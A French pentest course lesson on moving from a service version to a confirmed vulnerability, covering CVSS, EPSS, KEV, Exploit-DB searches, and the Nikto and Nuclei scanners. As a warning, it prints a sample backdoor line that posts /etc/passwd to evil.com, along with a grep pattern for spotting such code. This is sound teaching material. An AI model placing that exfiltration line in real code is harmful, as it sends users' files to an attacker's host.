Recherche de vulnérabilités — Notions
Vous avez la liste des services et leurs versions. Vous ne connaissez pas encore les failles. Cette semaine, on transforme une version en piste d'exploitation. C'est la charnière du pentest : sans elle, on scanne éternellement. Avec elle, on tape.
Toute confirmation de vulnérabilité envoie quelque chose à la cible. On reste strictement dans le RoE. Sur les cibles publiques, on ne va pas au-delà de la preuve minimale (ne pas dumper la base juste pour se faire plaisir).
Ce que vous saurez faire après cette leçon
- Lire une fiche CVE correctement et comprendre pourquoi le score CVSS seul ment.
- Utiliser EPSS et KEV pour prioriser au-delà du CVSS.
- Enchaîner NVD → Exploit-DB → GitHub → Twitter/Mastodon dans le bon ordre.
- Interpréter les résultats de Nikto et Nuclei sans se noyer dans les faux positifs.
- Passer d'une hypothèse (« Apache 2.4.49 est vulnérable ») à une preuve (« sur cette URL précise, j'ai récupéré
/etc/passwd»). - Produire un tableau priorisé de vulnérabilités, prêt pour l'exploitation.
1. La vulnérabilité, le CVE, le POC, l'exploit
Quatre mots. Confondus tout le temps. Fixez-les une fois pour toutes.
| Mot | Ce que c'est |
|---|---|
| Vulnérabilité | La faiblesse elle-même (un bout de code, une config). Un fait technique. |
| CVE | Un identifiant unique attribué à une vulnérabilité (ex. CVE-2021-41773). Rien d'autre. |
| POC (Proof of Concept) | Un exemple minimal qui déclenche la vulnérabilité, souvent quelques lignes. |
| Exploit | Un outil finalisé qui utilise la vulnérabilité pour un résultat utile (shell, RCE, exfiltration). |
Une CVE peut exister depuis 5 ans sans POC public — dans ce cas, personne ne sait vraiment l'exploiter en pratique. À l'inverse, un exploit peut circuler avant l'attribution officielle d'un CVE (zero-day).
Pour un pentester : CVE + POC + exploit = piste concrète. CVE seul = piste théorique.
2. Le score CVSS — le piège des scores hors contexte
CVSS (Common Vulnerability Scoring System) donne un chiffre entre 0 et 10 à chaque vulnérabilité. Tout le monde le regarde. Presque tout le monde le lit mal.
Trois vecteurs CVSS coexistent :
- CVSS Base — la note théorique, sans tenir compte de votre environnement. C'est celle que Google renvoie.
- CVSS Temporal — ajusté selon si un POC existe, si un patch est disponible.
- CVSS Environmental — ajusté selon votre contexte : est-ce que le service est exposé, est-ce qu'il traite des données critiques ?
Un CVSS Base 9.8 sur un service interne, filtré, patché en 2 heures = CVSS Environmental 4.2.
Un CVSS Base 6.5 sur une application exposée à Internet, non patchée depuis 2 ans, avec un exploit public trivial = CVSS Environmental 9.6 en pratique.
Ne classez pas vos trouvailles par CVSS Base. Recalculez à la main avec le contexte du client.
3. EPSS — la probabilité qu'elle soit vraiment exploitée
EPSS (Exploit Prediction Scoring System) : une probabilité, entre 0 et 1, que la vulnérabilité soit exploitée dans les 30 prochains jours. Calculée à partir des observations réelles (honeypots, sondes Internet).
| EPSS | Interprétation |
|---|---|
| < 0.01 | Vulnérabilité oubliée, pas d'exploit en circulation. |
| 0.01 - 0.10 | Rare mais possible. |
| 0.10 - 0.50 | Modéré, exploit disponible, ciblage possible. |
| > 0.50 | Fort. On voit passer l'exploit dans la nature. |
| > 0.90 | Vous devriez déjà avoir patché. |
Site officiel : www.first.org/epss.
L'EPSS complète le CVSS. Un CVSS 7.5 + EPSS 0.9 est plus urgent qu'un CVSS 9.8 + EPSS 0.001.
4. KEV (CISA) — l'urgence absolue
La CISA (agence de cybersécurité américaine) maintient le KEV (Known Exploited Vulnerabilities Catalog). Une CVE présente dans KEV signifie « exploitée activement dans la nature ».
Site : www.cisa.gov/known-exploited-vulnerabilities-catalog.
Pour un pentester : une CVE KEV chez votre client est une priorité 1 immédiate. Vous ne demandez pas l'autorisation, vous appelez le client d'urgence si vous la confirmez en cours de test.
5. Le chemin standard pour qualifier une CVE
Une méthode reproductible en 6 étapes. Ne sautez pas d'étape.
Étape 1 — Vérifier la version
Le scanner a dit Apache 2.4.49. C'est presque toujours vrai — sauf sur les distributions qui backportent un patch sans changer le numéro de version. Debian/Ubuntu ajoutent souvent -ubuntuX : Apache/2.4.49-1ubuntu5.3 peut être corrigé alors qu'Apache/2.4.49 vanilla ne l'est pas.
Vérification :
# En pentest interne, si vous avez un shell : dpkg -l apache2 ou rpm -qi httpd
# En externe, en boîte noire : essayer le POC. Si ça marche, c'est bon.
Étape 2 — Interroger la NVD
nvd.nist.gov — le référentiel officiel. Chaque CVE y a une fiche avec CVSS, description, références, produits concernés.
Étape 3 — Chercher un POC ou un exploit
Dans l'ordre :
- Exploit-DB : la base historique. Recherche par produit / version / CVE.
- GitHub search : les POC les plus récents apparaissent souvent sur GitHub d'abord.
- Twitter / Mastodon (via chercheurs infosec) : les zero-day et les nouvelles techniques passent d'abord ici.
- Blog des chercheurs : Rapid7, PortSwigger, Watchtowr, Assetnote. Souvent une explication + POC détaillé.
En Kali, searchsploit interroge une copie locale d'Exploit-DB, mise à jour :
searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py # rapatrie un exploit en local
Étape 4 — Lire l'exploit avant de le lancer
JAMAIS exécuter un exploit trouvé sur Internet sans le lire d'abord.
Deux raisons :
- Des exploits publics contiennent des backdoors ciblant les débutants. Un
import requests; requests.post('http://evil.com', data=open('/etc/passwd').read())glissé dans le script vole vos propres données. - Un exploit peut être destructeur (formater, DoS involontaire). Vous n'êtes pas dans le RoE pour ça.
Passez chaque exploit à grep -i "eval\|exec\|base64\|http\|curl\|nc " avant de lancer.
Étape 5 — Adapter à la cible
Un POC public utilise souvent des chemins ou des paramètres génériques. La cible peut avoir renommé son endpoint, changé son port, modifié son Host header. Adaptez avant de blâmer l'exploit.
Étape 6 — Reproduire proprement
Trois éléments minimum dans vos preuves :
- La requête envoyée (
curl -vcapturé, ou Burp raw request). - La réponse observée (extrait révélateur).
- Un screenshot ou un fichier de sortie que le client peut vérifier.
Sans ces trois éléments, la vulnérabilité n'est pas constatée, elle est suspectée.
6. Nikto — le scanner web ancêtre
nikto interroge une application web avec plusieurs milliers de tests. Puissant, bavard, plein de faux positifs.
nikto -h https://cible.com -Format txt -o rapports/nikto-cible.txt
Ce qu'il fait bien :
- Détection de fichiers oubliés (
.git/config,phpinfo.php,backup.tgz). - Détection de bannières de version.
- Détection de configurations dangereuses (méthodes HTTP dangereuses, en-têtes manquants).
Ce qu'il fait mal :
- Faux positifs à répétition sur les frameworks modernes qui renvoient des
200 OKpour tout. - Bruyant — un
niktocomplet, c'est plusieurs milliers de requêtes. - Ne suit pas les redirections applicatives — rate des choses.
Utilisation type : passe rapide, on filtre les vraies trouvailles à la main.
7. Nuclei — le scanner moderne, orienté templates
nuclei (par ProjectDiscovery) charge des templates YAML qui décrivent une vulnérabilité et sa signature. Communauté active, milliers de templates.
# Templates de type CVE et exposition, sévérité haute et critique
nuclei -u https://cible.com -tags cve,exposure -severity high,critical
# Ciblé sur un CVE spécifique
nuclei -u https://cible.com -t http/cves/2021/CVE-2021-41773.yaml
Points forts :
- Faux positifs rares (les templates sont écrits pour matcher précisément).
- Rapide (multi-threadé, HTTP/2).
- Mise à jour continue de la communauté.
Points faibles :
- Ne remplace pas un pentest — trouve ce qu'il connaît.
- Peut bruit une cible si vous ne filtrez pas les tags.
Bonne pratique : -tags cve,exposure en découverte, puis templates ciblés une fois qu'on a une piste.
8. Les scanners applicatifs (aperçu)
À ce stade, on ne remplace pas un pentest par un scanner. Mais on sait ce que chacun apporte :
| Outil | Domaine | Force |
|---|---|---|
| Nessus / OpenVAS | Réseau, VM, hosts | Inventaire massif, bases CVE à jour. |
| Nikto | Web (générique) | Fichiers oubliés, bannières. |
| Nuclei | Web (templates) | Détection CVE ciblée. |
| Burp Suite (Scanner Pro) | Web (applicatif) | Le meilleur pour les vulnérabilités OWASP Top 10. |
| Trivy | Images Docker, dépendances | CVE dans les packages. |
| kube-hunter | Kubernetes | Scans internes de clusters. |
Sur un pentest sérieux, on utilise au moins deux scanners différents et on corrèle.
9. La priorisation — ne rendez pas une liste plate
Un rapport avec 200 lignes non priorisées est inutilisable. Groupez.
| Priorité | Critères |
|---|---|
| P1 — Critique | Exploitable sans authentification + exposé publiquement + KEV ou POC public. |
| P2 — Haute | Exploitable avec un compte standard + accès à des données sensibles. |
| P3 — Moyenne | Exploitable sous conditions rares, impact limité. |
| P4 — Basse / Configuration | Défaut de configuration, hygiène, à corriger sans urgence. |
Chaque ligne du rapport porte :
- Le titre court.
- La priorité.
- Le CVSS Base et votre CVSS environnemental recalculé.
- L'EPSS si connue.
- Si présente dans KEV (oui/non).
- La preuve (URL, requête, réponse).
- La recommandation (patch, config, mitigation).
10. Les erreurs qui tuent la crédibilité
- Rapport CVSS Base seul. Le client verra tout de suite que vous n'avez pas contextualisé.
- Copier-coller de la fiche NVD. Le client sait lire NVD. Il vous paie pour le contexte.
- Vulnérabilité sans preuve reproductible. « Le service est vulnérable à CVE-2021-XXXX » sans requête/réponse — le RSSI ne peut rien en faire.
- Faux positifs Nikto laissés dans le rapport. Un seul faux positif décrédibilise tout le rapport.
- Priorité P1 par excès. Si tout est P1, plus rien n'est P1.
- Ignorer les vulns chaînées. Deux P3 chaînables valent souvent un P1. Signalez la chaîne.
11. Ce qu'il faut retenir
- Vulnérabilité, CVE, POC, exploit : quatre choses distinctes.
- CVSS Base ment hors contexte. CVSS Environmental et EPSS + KEV priorisent bien.
- Passer de version à faille suit 6 étapes : version → NVD → POC → lecture du POC → adaptation → preuve.
- Nikto et Nuclei sont complémentaires. Aucun ne remplace le regard humain.
- Le rapport est priorisé, pas plat. Chaque ligne a une preuve et une recommandation.
Prochaine leçon : on qualifie les vulnérabilités de nos deux Metasploitable — et on en tombe deux, sans Metasploit, à la main.